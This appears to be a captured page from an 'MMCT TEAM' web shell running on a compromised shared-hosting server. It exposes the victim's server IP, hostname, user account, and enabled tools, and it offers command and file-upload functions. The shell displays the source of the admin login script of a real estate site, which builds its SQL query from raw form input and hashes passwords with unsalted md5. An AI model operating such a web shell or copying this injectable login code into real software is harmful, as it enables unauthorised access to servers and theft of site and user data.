MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 18.116.82.179
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home1/a1673wkz/propstonerealty.com/Admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home1/a1673wkz/propstonerealty.com/Admin/verify.php
<?php
session_start();
include("config.php");
if(!empty($_POST['username']) && !empty($_POST['password']))
{
	$username=$_POST['username'];
	$password=md5($_POST['password']);

	$sel=$obj->num("SELECT * FROM admin WHERE username='$username' && password='$password'");
	if($sel)
	{
		$_SESSION['username']='Admin';
		echo '<script>window.location.href="dashboard.php"</script>';
	}
	else
	{
		echo '<a href="#" class="badge badge-danger">Incorrect username & password</a>';
	}

}
else
{
	echo '<a href="#" class="badge badge-warning">Empty field</a>';
}
?>

MMCT - 2023